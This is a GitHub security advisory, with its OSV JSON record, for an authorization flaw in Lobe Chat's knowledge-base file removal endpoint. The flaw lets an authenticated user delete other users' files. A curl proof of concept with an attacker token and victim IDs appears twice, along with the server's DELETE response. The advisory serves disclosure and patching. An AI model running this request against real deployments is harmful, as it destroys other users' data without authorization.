GHSA-J7XP-4MG9-X28R

Vulnerability from github – Published: 2026-01-20 17:14 – Updated: 2026-01-20 17:14
VLAI?
Summary
Lobe Chat has IDOR in Knowledge Base File Removal that Allows Cross User File Deletion
Details

Summary

knowledgeBase.removeFilesFromKnowledgeBase tRPC ep allows authenticated users to delete files from any knowledge base without verifying ownership.

Details

userId filter in the database query is commented out, so it's enabling attackers to delete other users' KB files if they know the knowledge base ID and file ID.

PoC

ATTACKER_TOKEN="xx"

VICTIM_KB="kb_tuLBfskdDN1r"
VICTIM_FILE="file_v5wCNLqSaoPp"

curl -X POST "https://localhost/trpc/lambda/knowledgeBase.removeFilesFromKnowledgeBase?batch=1" -H "Content-Type: application/json" -b "__Secure-better-auth.session_token=$ATTACKER_TOKEN" -d '{"0":{"json":{"knowledgeBaseId":"'"$VICTIM_KB"'","ids":["'"$VICTIM_FILE"'"]}}}'

Response:

{"result":{"data":{"json":{"command":"DELETE","rowCount":1,"oid":null,"rows":[],"fields":[]}}}}

Impact

An attacker can delete files from any user's KB. RAG/AI functionality broken when files removed. It could cause loss of important documents, proprietary data etc.

While the vuln is confirmed, practical exploitation requires knowing target's KB ID and target's file ID. These IDs are random and not easily enumerable. However, IDs may leak through shared links, logs, referrer headers and so on. Missing authorization check is a critical security flaw regardless.

Severity ?
3.7 (Low)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@lobehub/chat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.143.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23522"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-20T17:14:39Z",
    "nvd_published_at": "2026-01-19T17:15:50Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\n`knowledgeBase.removeFilesFromKnowledgeBase` tRPC ep allows authenticated users to delete files from any knowledge base without verifying ownership.\n\n### Details\n\n`userId` filter in the database query is commented out, so it\u0027s enabling attackers to delete other users\u0027 KB files if they know the knowledge base ID and file ID.\n\n### PoC\n\n```\nATTACKER_TOKEN=\"xx\"\n\nVICTIM_KB=\"kb_tuLBfskdDN1r\"\nVICTIM_FILE=\"file_v5wCNLqSaoPp\"\n\ncurl -X POST \"https://localhost/trpc/lambda/knowledgeBase.removeFilesFromKnowledgeBase?batch=1\" -H \"Content-Type: application/json\" -b \"__Secure-better-auth.session_token=$ATTACKER_TOKEN\" -d \u0027{\"0\":{\"json\":{\"knowledgeBaseId\":\"\u0027\"$VICTIM_KB\"\u0027\",\"ids\":[\"\u0027\"$VICTIM_FILE\"\u0027\"]}}}\u0027\n```\n\nResponse:\n\n`{\"result\":{\"data\":{\"json\":{\"command\":\"DELETE\",\"rowCount\":1,\"oid\":null,\"rows\":[],\"fields\":[]}}}}`\n\n### Impact\n\nAn attacker can delete files from any user\u0027s KB. RAG/AI functionality broken when files removed. It could cause loss of important documents, proprietary data etc.\n\nWhile the vuln is confirmed, practical exploitation requires knowing target\u0027s KB ID and target\u0027s file ID. These IDs are random and not easily enumerable. However, IDs may leak through shared links, logs, referrer headers and so on. Missing authorization check is a critical security flaw regardless.",
  "id": "GHSA-j7xp-4mg9-x28r",
  "modified": "2026-01-20T17:14:39Z",
  "published": "2026-01-20T17:14:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-j7xp-4mg9-x28r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/commit/2c1762b85acb84467ed5e799afe1499cd2f912e6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lobehub/lobe-chat"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Lobe Chat has IDOR in Knowledge Base File Removal that Allows Cross User File Deletion"
}


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  • Confirmed: The vulnerability has been validated from an analyst's perspective.
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  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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